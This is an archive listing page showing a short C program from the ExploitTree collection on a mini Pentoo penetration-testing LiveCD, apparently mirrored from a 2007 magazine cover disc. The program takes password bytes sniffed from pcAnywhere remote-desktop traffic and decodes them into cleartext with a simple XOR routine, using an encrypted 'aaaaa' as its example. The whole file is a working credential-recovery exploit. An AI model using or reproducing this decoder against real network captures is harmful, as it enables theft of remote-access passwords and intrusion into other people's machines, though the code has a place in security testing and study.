home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / pcanywhere / pca90.c < prev   
C/C++ Source or Header  |  2005-02-12  |  524b  |  28 lines

  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. void main() {
  5.  
  6.   char password[128];
  7.   char cleartext[128];
  8.   int     i;
  9.  
  10.   // input the sniffed hex values here
  11.   // Encrypted example of the 'aaaaa' password
  12.   password[0]=0xca;
  13.   password[1]=0xab;
  14.   password[2]=0xcb;
  15.   password[3]=0xa8;
  16.   password[4]=0xca;
  17.   password[5]='\0';
  18.  
  19.     cleartext[0]=0xca-password[0]+0x61;
  20.     for (i=1;i<strlen(password);i++) 
  21.       cleartext[i] = password[i-1] ^ password[i] ^ i-1;
  22.     
  23.     cleartext[strlen(password)]='\0';
  24.  
  25.     printf("password is %s \n",cleartext);
  26.  
  27. }
  28.